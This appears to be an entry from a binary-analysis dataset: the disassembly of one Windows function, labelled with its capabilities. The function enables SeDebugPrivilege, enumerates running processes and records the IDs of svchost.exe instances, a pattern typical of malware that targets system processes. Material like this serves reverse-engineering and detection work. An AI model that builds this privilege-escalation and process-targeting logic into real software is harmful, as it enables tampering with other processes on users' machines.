Function at 0x460250
Capabilities:
Acquire debug privileges
Enumerate processes
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483f28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c4
push ebx
push esi
push edi
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x10], esp
push 0x80
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x14]
push ecx
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4602e9
lea edx, [ebp - 0x24]
mov dword [ebp - 0x28], 1
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0x14]
push 0
push 0
lea eax, [ebp - 0x28]
push 0x10
push eax
push 0
push ecx
mov dword [ebp - 0x1c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 2
mov dword [ebp - 0x18], 0xffffffff
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edx, eax
mov dword [ebp - 0x18], edx
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x14c]
mov dword [ebp - 0x150], 0x128
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x150]
mov byte [ebp - 4], 1
push eax
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x460363
mov ecx, dword [ebp - 0x148]
test ecx, ecx
jne 0x460363
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x150]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x460363
mov ecx, dword [ebp - 0x148]
test ecx, ecx
jne 0x460363
lea eax, [ebp - 0x150]
lea ecx, [ebp - 0x18]
push eax
call fcn.00404a00
xor ebx, ebx
test eax, eax
je 0x460465
mov eax, dword [ebp - 0x148]
lea ecx, [ebp - 0x3d0]
push ecx
push eax
mov byte [ebp - 0x3d0], 0
mov dword [ebp - 0x14], eax
call fcn.004047b0
lea edi, [ebp - 0x3d0]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 7
jl 0x46040b
lea edi, [ebp - 0x3d0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x6d0]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x4d0]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1d0]
push ecx
push str._s_svchost.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x6d0]
lea ecx, [ebp - 0x4d0]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x46040b
mov edx, dword [ebp - 0x14]
mov dword [ebx*4 + 0x650c6c], edx
inc ebx
cmp ebx, 0x14
je 0x460465
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x150]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x460465
mov ecx, dword [ebp - 0x148]
test ecx, ecx
jne 0x460365
lea edx, [ebp - 0x150]
lea ecx, [ebp - 0x18]
push edx
call fcn.00404a00
jmp 0x460365
lea eax, [ebp - 0x14]
mov dword [0x65cd5c], ebx
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4604c7
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x28], 1
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x14]
push 0
push 0
lea edx, [ebp - 0x28]
push 0x10
push edx
push 0
push eax
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
cmp eax, 0xffffffff
je 0x4604d6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret